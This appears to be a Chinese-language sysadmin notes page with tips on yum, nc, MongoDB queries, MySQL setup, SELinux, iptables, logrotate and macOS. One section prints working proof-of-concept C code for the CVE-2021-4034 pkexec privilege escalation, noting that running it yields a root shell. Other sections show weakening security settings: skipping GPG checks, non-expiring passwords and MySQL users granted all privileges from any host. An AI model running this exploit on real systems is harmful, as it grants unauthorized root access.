yum groupupdate '虚拟化主机' # 按组更新
yum groupremove '虚拟化主机' # 安祖删除
# yum 清理cache
yum clean all
# yum 清理metadat
yum clean metadata
# 查看yum源metadata过期时间
yum repolist enabled -v
# 查看yum操作记录列表
yum history 或 yum history list all
# 查看yum某个包的记录
yum history list PACKAGE_NAME
# 查看yum某条操作记录的详细信息
yum history info NUM
# yum回滚
yum history undo NUM
# 查看某个repository下的可用包, 以pgdg96为例
yum --disablerepo="*" --enablerepo="pgdg96" list available
# 查看某几个repository下的可用包, repository之间用逗号隔开
yum --disablerepo="*" --enablerepo="pgdg96,epel" list available
# 只更新来自某个repository的package
yum --disablerepo="*" --enablerepo="pgdg96,epel" update
# yum security相关
yum --security check-update # 检查安全更新
yum --security update # 只更新安全补丁
# 查看包依赖
yum deplist ImageMagick-devel
# 列出所有的包并安装固定版本的包
使用`--showduplicates`列出所有的包,然后指定版本安装
yum list --disablerepo="*" --enablerepo="mysql80-community" --showduplicates
# 跳过公钥检查
使用`--nogpgcheck`跳过公钥检查安装
yum install --nogpgcheck xxxx
nc命令检查服务器端口是否开放 使用nc -vz -w 10 IP Port
来检查服务器某个端口是否开启。 其中
-v
: 设置输出模式
-z
: 不交互输入/输出, 仅仅报告链接状态
-w <time>
: 设置超时时间1
2
3
4
5
6
7
8
9
10
11
$ nc -vz -w 10 www.baidu.com 443
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 180.101.49.12:443.
Ncat: 0 bytes sent, 0 bytes received in 0.03 seconds.
$
$ nc -vz -w 10 www.baidu.com 440
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connection to 180.101.49.12 failed: Connection timed out.
Ncat: Trying next address...
Ncat: Connection timed out.
$
CentOS 7查看和更新密码有效期 账户密码失效后,运行crontab任务会在/var/log/cron
中报告如下出错信息,并且禁止crontab任务的运行1
2
Feb 3 12:32:01 wjds-food-new crond[31367]: (deployer) PAM ERROR (Authentication token is no longer valid; new one required)
Feb 3 12:32:01 wjds-food-new crond[31368]: (deployer) FAILED to authorize user with PAM (Authentication token is no longer valid; new one required)
可使用chage -l username
来查看密码有效期设定
1
2
3
4
5
6
7
8
9
# chage -l deployer
Last password change : Nov 03, 2020
Password expires : Feb 01, 2021
Password inactive : never
Account expires : never
Minimum number of days between password change : 1
Maximum number of days between password change : 90
Number of days of warning before password expires : 7
#
可以通过更新密码来重置Password expires
时间,也可以使用如下两个命令,直接设置密码永久不需要重置。1
2
passwd -x -1 username
chage -M -1 username
获取yum变量$arch,$basearch和$releasever的小命令 可以使用如下python命令来获取yum的变量1
python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
下面是该命令在Aliyun Linux 2
,Amazon Linux 2
和CentOS 7.6
上的输出。
Aliyun Linux 2的结果 1
2
3
4
5
6
7
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: fastestmirror
{'arch': 'ia32e',
'basearch': 'x86_64',
'releasever': '2.1903',
'uuid': '33f759f5-349a-4c14-bb77-3ccd32b7a675'}
$
Amazon Linux 2上的运行结果
1
2
3
4
5
6
7
8
9
10
11
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: extras_suggestions, langpacks, priorities, update-motd
{'arch': 'ia32e',
'awsdomain': 'amazonaws.com',
'awsregion': 'us-west-2',
'basearch': 'x86_64',
'product': 'core',
'releasever': '2',
'target': 'latest',
'uuid': '3f6395c1-b6c3-45e1-b7e4-aeaa76bf67a6'}
$
CentOS 7.6上的运行结果
1
2
3
4
5
6
7
8
9
$ python -c 'import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)'
Loaded plugins: fastestmirror
{'arch': 'ia32e',
'basearch': 'x86_64',
'contentdir': 'centos',
'infra': 'stock',
'releasever': '7',
'uuid': '679cafd0-f0f5-4bc4-9055-eddca793d302'}
$
各系统redhat-release的信息 命令rpm -q --whatprovides redhat-release
在各个系统Aliyun Linux 2
,Amazon Linux 2
和CentOS 7.6
上的输出。
Aliyun Linux 2的结果 1
2
3
$ rpm -q --whatprovides redhat-release
alinux-release-2.1903-4.al7.x86_64
$
Amazon Linux 2上的运行结果
1
2
3
$ rpm -q --whatprovides redhat-release
system-release-2-11.amzn2.x86_64
$
CentOS 7.6上的运行结果
1
2
3
$ rpm -q --whatprovides redhat-release
centos-release-7-6.1810.2.el7.centos.x86_64
$
Linux下cat EOF变量展开情形 变量展开 正常情况下,cat会获取变量值展开。 如:1
2
3
cat >> ./cat_with_variable.txt << EOF
echo $PATH
EOF
那么文件./cat_with_variable.txt
中的内容是1
echo /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
变量不展开 如果需要保留变量名的形式,输出到文件中的是echo $PATH
的字串,那么需要将EOF的形式变换一下。变成如下两种形式之一皆可保留变量的形式。
此时,文件中的内容为:
参考: How to cat EOF a file containing code?
Mac下清除DNS缓存 清除DNS缓存命令1
2
sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder
Mac下brew安装组件但不更新自己的方法 在brew install
之前添加HOMEBREW_NO_AUTO_UPDATE=1
, 如1
HOMEBREW_NO_AUTO_UPDATE=1 brew install jq
Linux中使用logger命令写入syslog日志 将”hello world”写入local1.info
中1
logger -it error -p local1.info "hello world"
检查syslog配置 -N
参数,可不运行服务来检查syslog配置是否正确。例子:1
sudo /usr/sbin/rsyslogd -f /etc/rsyslog.conf -N1
mongo数据库的各种查询语句示例 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
左边是mongodb查询语句,右边是sql语句。对照着用,挺方便。
db.users.find() select * from users
db.users.find({"age" : 27}) select * from users where age = 27
db.users.find({"username" : "joe", "age" : 27}) select * from users where "username" = "joe" and age = 27
db.users.find({}, {"username" : 1, "email" : 1}) select username, email from users
db.users.find({}, {"username" : 1, "_id" : 0}) // no case // 即时加上了列筛选,_id也会返回;必须显式的阻止_id返回
db.users.find({"age" : {"$gte" : 18, "$lte" : 30}}) select * from users where age >=18 and age <= 30 // $lt(<) $lte(<=) $gt(>) $gte(>=)
db.users.find({"username" : {"$ne" : "joe"}}) select * from users where username <> "joe"
db.users.find({"ticket_no" : {"$in" : [725, 542, 390]}}) select * from users where ticket_no in (725, 542, 390)
db.users.find({"ticket_no" : {"$nin" : [725, 542, 390]}}) select * from users where ticket_no not in (725, 542, 390)
db.users.find({"$or" : [{"ticket_no" : 725}, {"winner" : true}]}) select * form users where ticket_no = 725 or winner = true
db.users.find({"id_num" : {"$mod" : [5, 1]}}) select * from users where (id_num mod 5) = 1
db.users.find({"$not": {"age" : 27}}) select * from users where not (age = 27)
db.users.find({"username" : {"$in" : [null], "$exists" : true}}) select * from users where username is null // 如果直接通过find({"username" : null})进行查询,那么连带"没有username"的纪录一并筛选出来
db.users.find({"name" : /joey?/i}) // 正则查询,value是符合PCRE的表达式
db.food.find({fruit : {$all : ["apple", "banana"]}}) // 对数组的查询, 字段fruit中,既包含"apple",又包含"banana"的纪录
db.food.find({"fruit.2" : "peach"}) // 对数组的查询, 字段fruit中,第3个(从0开始)元素是peach的纪录
db.food.find({"fruit" : {"$size" : 3}}) // 对数组的查询, 查询数组元素个数是3的记录,$size前面无法和其他的操作符复合使用
db.users.findOne(criteria, {"comments" : {"$slice" : 10}}) // 对数组的查询,只返回数组comments中的前十条,还可以{"$slice" : -10}, {"$slice" : [23, 10]}; 分别返回最后10条,和中间10条
db.people.find({"name.first" : "Joe", "name.last" : "Schmoe"}) // 嵌套查询
db.blog.find({"comments" : {"$elemMatch" : {"author" : "joe", "score" : {"$gte" : 5}}}}) // 嵌套查询,仅当嵌套的元素是数组时使用,
db.foo.find({"$where" : "this.x + this.y == 10"}) // 复杂的查询,$where当然是非常方便的,但效率低下。对于复杂查询,考虑的顺序应当是 正则 -> MapReduce -> $where
db.foo.find({"$where" : "function() { return this.x + this.y == 10; }"}) // $where可以支持javascript函数作为查询条件
db.foo.find().sort({"x" : 1}).limit(1).skip(10); // 返回第(10, 11]条,按"x"进行排序; 三个limit的顺序是任意的,应该尽量避免skip中使用large-number
参考: https://blog.csdn.net/qq_27093465/article/details/51700435
将mongo数据导出为csv文件 可以使用mongoexport
加--type=csv
,--out report.csv
的方式来将mongo数据导出成csv文件。 通过数据库账号密码方式:1
2
3
4
mongoexport -h localhost -d databse -c collection --type=csv
--fields erpNum,orderId,time,status
-q '{"time":{"$gt":1438275600000}, "status":{"$ne" :"Cancelled"}}'
--out report.csv
通过uri方式:1
2
3
4
mongoexport --uri=uri -c collection --type=csv
--fields erpNum,orderId,time,status
-q '{"time":{"$gt":1438275600000}, "status":{"$ne" :"Cancelled"}}'
--out report.csv
筛选时间类型的方法:1
2
mongoexport --username user --password pass --host host --db dbName --collection coll --type=csv
--query '{"_created_at": { "$gte" : { "$date" : "2017-12-21T12:57:00.506Z" } }}'
参考: Mongoexport -q ISODate query
dd创建指定大小的文件 1
dd if=/dev/zero of=test_file count=20480 bs=1M
if=文件名:输入文件名,缺省为标准输入。即指定源文件。< if=input file >
of=文件名:输出文件名,缺省为标准输出。即指定目的文件。< of=output file >
bs: 同时设置读入/输出的块大小为bytes个字节
count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数。
更换pip源 国内阿里云镜像源: https://mirrors.aliyun.com/pypi/simple/
临时pip安装 可以在使用pip的时候在后面加上-i参数,指定pip源1
pip install scrapy -i https://mirrors.aliyun.com/pypi/simple/
永久修改 Linux下 修改$HOME/.config/pip/pip.conf
文件,添加内容如下:1
2
3
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/
cp命令保持文件源属性 cp命令中的-p
参数可以在拷贝文件时,保留文件的原属性,包含文件修改时间,访问时间以及文件属性等-p
参数的解释:1
2
3
4
-p same as --preserve=mode,ownership,timestamps
--preserve[=ATTR_LIST]
preserve the specified attributes (default: mode,ownership,timestamps), if possible additional attributes: context, links, xattr, all
CentOS 7 本机进单用户模式 步骤:
开机选取Kernel页面时,按e进入编辑页面
定位到linux16那行,修改ro
为rw init=/sysroot/bin/sh
, 修改后按Ctrl + x
保存启动,即可进入单用户模式
进入后,依次输入如下命令:
chroot /sysroot/
, 切换环境为chroot 监狱
passwd root
,修改root密码
touch /.autorelabel
,开启重启时的 SELinux 重新标记
reboot -f
重启系统。
参考:
alternatives/update-alternatives的简要用法 参考: alternatives命令简单用法
CVE-2021-4034 polkit pkexec 本地提权漏洞 POC代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
编译后运行就可以得到root的shell了
原理参考:
CentOS 7下安装Mysql 需要导入PGP key 之前CentOS下安装mysql组件的步骤:1
2
3
4
wget https://dev.mysql.com/get/mysql80-community-release-el7-6.noarch.rpm
md5sum mysql80-community-release-el7-6.noarch.rpm
sudo yum install mysql80-community-release-el7-6.noarch.rpm
yum install mysql-community-client mysql-community-devel mysql-community-server
现在安装时候, 会报错1
获取 GPG 密钥失败:[Errno 14] curl#37 - "Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-mysql-2022"
可以通过手动导入PGP key来解决1
rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022
参考:
SELinux开启时修改mysql数据目录 mysql默认安装时,数据在/var/lib/mysql
目录下, 在SELinux开启时,如果要迁移目录,需要将目标目录属性设为mysqld_db_t mysql安装步骤:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 安装mysql
wget https://dev.mysql.com/get/mysql80-community-release-el7-6.noarch.rpm
md5sum mysql80-community-release-el7-6.noarch.rpm
sudo yum install mysql80-community-release-el7-6.noarch.rpm
yum install mysql-community-client mysql-community-devel mysql-community-server
# 启动mysql
systemctl start mysqld
# 查找临时密码
grep 'temporary password' /var/log/mysqld.log
# 做基本配置
## 修改密码
mysql_secure_installation
- 输入新的root密码 - 新密码
- 启动密码验证插件
- Remove anonymous users - YES
- Disallow root login remotely - Y
- Remove test database and access to it - Y
- Reload privilege tables now - Y
# 测试Mysql
mysqladmin -u root -p version
SELinux禁止时,拷贝mysql的数据到目标目录的步骤如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 停下mysql
systemctl stop mysqld.service
# 创建目录
mkdir -p /opt/app
# 拷贝原始数据到/opt/app下
rsync -av /var/lib/mysql /opt/app/
# 修改配置文件/etc/my.cnf,设置datadir为/opt/app/mysql
vi /etc/my.cnf
datadir=/opt/app/mysql
# 重启mysql
systemctl start mysqld.service
当SELinux开启时,此时rsync后再systemctl start mysqld.service
, 会报如下错误:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[root@localhost ~]# systemctl start mysqld.service
Job for mysqld.service failed because the control process exited with error code. See "systemctl status mysqld.service" and "journalctl -xe" for details.
[root@localhost ~]#
[root@localhost ~]# systemctl status mysqld.service
● mysqld.service - MySQL Server
Loaded: loaded (/usr/lib/systemd/system/mysqld.service; enabled; vendor preset: disabled)
Active: failed (Result: exit-code) since 四 2022-05-19 20:42:28 CST; 2s ago
Docs: man:mysqld(8)
http://dev.mysql.com/doc/refman/en/using-systemd.html
Process: 10791 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS (code=exited, status=1/FAILURE)
Process: 10768 ExecStartPre=/usr/bin/mysqld_pre_systemd (code=exited, status=0/SUCCESS)
Main PID: 10791 (code=exited, status=1/FAILURE)
Status: "Server startup in progress"
Error: 13 (权限不够)
5月 19 20:42:28 localhost.localdomain systemd[1]: Starting MySQL Server...
5月 19 20:42:28 localhost.localdomain systemd[1]: mysqld.service: main process exited, code=exited, status=1/FAILURE
5月 19 20:42:28 localhost.localdomain systemd[1]: Failed to start MySQL Server.
5月 19 20:42:28 localhost.localdomain systemd[1]: Unit mysqld.service entered failed state.
5月 19 20:42:28 localhost.localdomain systemd[1]: mysqld.service failed.
[root@localhost ~]#
因为/opt/app/mysql
下的文件没有mysqld_db_t的属性1
2
3
4
5
6
7
8
# ll -Z /var/lib/ | grep mysql
drwxr-x--x. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql
drwxr-x---. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql-files
drwxr-x---. mysql mysql system_u:object_r:mysqld_db_t:s0 mysql-keyring
#
# ll -Z /opt/app/
drwxr-x--x. mysql mysql unconfined_u:object_r:usr_t:s0 mysql
#
此时需要修改/opt/app/mysql
下文件的selinux权限才行1
2
3
4
5
6
7
8
9
10
# 安装semanage命令
yum provides /usr/sbin/semanage
yum install policycoreutils-python
# 拷贝属性
semanage fcontext -a -e /var/lib/mysql /opt/app/mysql
restorecon -R -v /opt/app/mysql
# 修改后,就可以顺利启动mysql
systemctl restart mysqld.service
参考:
mysql创建用户 创建语句:1
2
3
4
5
6
7
8
9
10
11
# 创建不限制访问的用户
CREATE USER 'abcd'@'%' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcd'@'%' WITH GRANT OPTION;
# 创建内网才能访问的用户
CREATE USER 'abcde'@'192.168.%' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcde'@'%' WITH GRANT OPTION;
# 创建固定IP才能访问的用户
CREATE USER 'abcdef'@'192.168.187.226' IDENTIFIED BY 'abc_123Password';
GRANT ALL PRIVILEGES ON *.* TO 'abcdef'@'%' WITH GRANT OPTION;
Linux下获取后台进程的运行命令路径 两个方法:
ls -alF /proc/<PID>/exe
readlink -f /proc/<pid>/exe
原理: Linux下每个进程的信息会存放在/proc/<PID>
的路径下, 其中exe
会链接到实际运行的命令上。所以只要查看/proc/<PID>/exe
就可以知道是哪边运行的命令。
例子: 一台机器上装有多个nginx,启动nginx的时候没有指定完整路径,查看ps
命令输出只看到运行命令是./nginx
, 无法知道运行的是哪个版本1
2
3
$ ps -ef | grep nginx | grep master
root 10077 1 0 May20 ? 00:00:00 nginx: master process ./nginx
$
此时就可以通过进程号来读取运行文件的完整路径。1
2
3
$ sudo ls -alF /proc/10077/exe
lrwxrwxrwx 1 root root 0 May 27 10:44 /proc/10077/exe -> /opt/nginx/sbin/nginx*
$
参考:
Linux中sudo each 重定向到文件时Permission Denied 某个文件当前用户没有写入权限,当你尝试想用sudo echo 'something' > file
的形式写入时,会发现虽然你有sudo权限,但还是会报Permission Denied
的错误。 原因是重定向操作’>’和’>>’并不是被sudo echo
来执行的,而还是以当前用户来执行的。
解决方法一,使用tee 1
2
3
4
5
# 替换文件
echo 'something' | sudo tee file.txt
# append到文件
echo 'something' | sudo tee -a file.txt
解决方法二,使用sudo bash -c 显式运行命令 1
2
sudo bash -c "echo 'something' > file.txt"
sudo bash -c "echo 'something' >> file.txt"
参考:
iptable的简单用法 CentOS 7过后统一使用firewall来设置防火墙了,但CentOS 6中还是只能使用iptables来设置防火墙。如下是一些简单的防火墙的命令,做备忘。
正常的service启动/停止iptables服务1
2
3
4
5
6
7
service iptables start # 启动 iptables
service iptables stop # 停止 iptables
service iptables restart # 重启 iptables
service iptables status # 查看 iptables的状态
chkconfig iptables on # 设置开机启用防火墙
chkconfig iptables off # 设置开机停用防火墙
配置文件
匹配和执行规则:
从第一条规则开始顺序往下匹配,匹配到了就执行动作,并不再匹配接下来的规则**
iptables命令设置的规则立马起效, 要注意千万不要把自己关在服务器以外
相关命令:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
service iptables save # 保存内存中的条目到配置文件/etc/sysconfig/iptables中
iptables -L -n --line-numbers # 查看防火墙条目
# -A 是追加规则到末尾
# 例如: 只允许IP为192.168.187.1的客户端访问22端口,并追加到最末尾
iptables -A INPUT -p tcp -m state --state NEW --source 192.168.187.1 --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
# -I 是指定条数插入
# 开启22端口的访问,其中-I INPUT ${num} 是将该规则设置到第num条的意思
iptables -I INPUT 4 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
# -D 是删除指定条数的规则
# 删除规则, -D INPUT ${num}, 是将第num条规则删除。
iptables -D INPUT 5
logrotate执行时没有备份旧文件 运行logrotate时,如果发现没有备份和切割旧文件。可能的原因就是配置文件编写有误。 可以使用参数-d
来测试配置文件, 或使用-v
来显示处理信息
一个例子: 执行logrotate时,没有生成备份文件,使用-v
来输出处理信息。1
logrotate -v -f /etc/logrotate.d/test.conf
命令输出中发现了错误信息:1
Ignoring /etc/logrotate.d/test.conf because of bad file mode.
原因是文件权限为755
, 修改为644
后即可正常执行。
logrotate例子 文件/etc/logrotate.d/rails
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/var/log/rails/production.log
{
daily
missingok
rotate 14
compress
delaycompress
notifempty
su railsuser railsuser
sharedscripts
postrotate
/bin/kill -HUP `cat /var/run/nginx.pid 2> /dev/null` 2> /dev/null || true
endscript
}
Postman中如何设置和使用cookie 官方文档 - Using cookies https://learning.postman.com/docs/sending-requests/cookies/
Amazon Linux中如何安装g++ 在Amazon Linux中安装g++的命令如下:1
sudo yum install -y gcc-c++
aws cli获取autoscaling configuration配置 使用aws autoscaling describe-launch-configurations
来查看autoscaling的配置文件, 例:1
aws autoscaling describe-launch-configurations --launch-configuration-names AutoScaling-Test
输出:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
"LaunchConfigurations": [
{
"UserData": "",
"EbsOptimized": false,
"LaunchConfigurationARN": "arn:aws:autoscaling:us-west-2:XXXXXXXXXXXX:launchConfiguration:51f10b39-59a2-489e-a72f-efdc418fe910:launchConfigurationName/AutoScaling-Test",
"InstanceMonitoring": {
"Enabled": false
},
"ClassicLinkVPCSecurityGroups": [],
"CreatedTime": "2015-12-31T16:17:34.995Z",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/sdf",
"Ebs": {
"DeleteOnTermination": false,
"SnapshotId": "snap-1f5c9e4f",
"VolumeSize": 32,
"VolumeType": "standard"
}
},
{
"DeviceName": "/dev/xvda",
"Ebs": {
"DeleteOnTermination": true,
"VolumeSize": 8,
"VolumeType": "standard"
}
}
],
"KeyName": "key-for-aws",
"SecurityGroups": [
"sg-2a14e74e"
],
"LaunchConfigurationName": "AutoScaling-Test",
"KernelId": "",
"RamdiskId": "",
"ImageId": "ami-59a08869",
"InstanceType": "t2.micro"
}
]
}
Linux下获取文件中指定行数的内容 获取指定行的内容:1
sed -n '开始行数,结束行数p' 待截取的文件
获取内容后写入新文件1
sed -n '开始行数,结束行数p' 待截取的文件 >> 新文件
参考: Linux下截取文件内容保存到新的文件中
指定端口运行Jenkins 指定http端口:1
java -jar jenkins.war --httpPort=9090
指定https端口:1
java -jar jenkins.war --httpsPort=9090
参考: How to start jenkins on different port rather than 8080 using command prompt in Windows?
Linux下修改系统时间 修改系统时间 修改时间: date -s 时间
如:设置当前时间为:2022年10月21日21点50分1
date -s '2022-10-21 21:50:00’
根据网络同步时间 使用ntp来使用网络时间同步本地时间:1
2
3
4
# 安装ntp
yum install ntp
# 同步时间
ntpdate pool.ntp.org
日期的字符串形式和timestamp形式的转换 日期的字符串形式和timestamp形式的转换, Linux下可以使用date
命令来进行转换。
date -d "@$TIMESTAMP"
来将timestamp转换为字符串形式,1
2
3
$ date -d @1554688861
2019年 04月 08日 星期一 02:01:01 UTC
$
date -d 'YYYY-MM-DDTHH:MM:SS' +%s
,将字符形式的日期转为timestamp。1
2
3
$ date -d '2019-04-08T02:01:01' +%s
1554688861
$
ImageMagick convert将彩色照片转为黑白照片 方式一:1
convert input.jpg -colorspace Gray input_gray.jpg
方式二: 会生成3个不同灰度的图片,供选取1
convert input.jpg -separate input_gray.jpg
参考: https://blog.csdn.net/weixin_30832983/article/details/97265181
查看debain系统版本的几个方法
使用/etc/os-release
系统大版本号,小版本号cat /etc/debian_version
使用cat /etc/issue
命令,输出例子: Debian GNU/Linux 9 \n \l
MacOS下刷新DNS缓存 命令:1
sudo killall -HUP mDNSResponder;sudo killall mDNSResponderHelper;sudo dscacheutil -flushcache
gzip查看压缩文件压缩信息 使用gzip -l
可以查看压缩文件的压缩信息1
2
3
4
$ gzip -l package-lock.json.gz
compressed uncompressed ratio uncompressed_name
146333 520297 71.8% package-lock.json
]$
MacOS选择框中显示隐藏文件 在文件选择对话框中,键入Shift + Command + .
就可以看到看到隐藏文件了。
zshrc ohmyzsh 不要共享命令记录 在~/.zshrc
中添加设置:
新启动的Terminal就不会再共享命令记录了。
zsh中禁止末尾自动添加百分号% zsh中如果打印一串没有换行符的字符串,默认自动给没有换行符的字符串添加一个百分号%,同时另起一行显示新的提示符。1
2
3
✗ printf nolinebreak
nolinebreak%
✗
在zshrc中使用如下配置将该功能关闭1
unsetopt prompt_cr prompt_sp
参考: https://blog.csdn.net/weixin_44410537/article/details/109899049
MacOS下安装GNU的系列命令 安装方法:1
2
3
4
5
# gnu sed
brew install gnu-sed
# gnu grep
brew install grep
因为Mac中已经自带了sed
, grep
等命令,因此brew安装的时候会将对应的命令改名,叫做ggrep
, gsed
,具体各个命令参照brew安装的提示。
设置使用GNU命令: 在~/.bashrc
或者~/.zshrc
中添加alias1
2
alias grep='ggrep'
alias sed='gsed'
另: brew安装时也可以使用--with-default-names
参数来指定命令为grep
或sed
,但并不推荐使用和Mac下原生命令一样的名字,防止影响一些系统脚本。 具体可以参照 - Macos下如何实现grep的非贪婪模式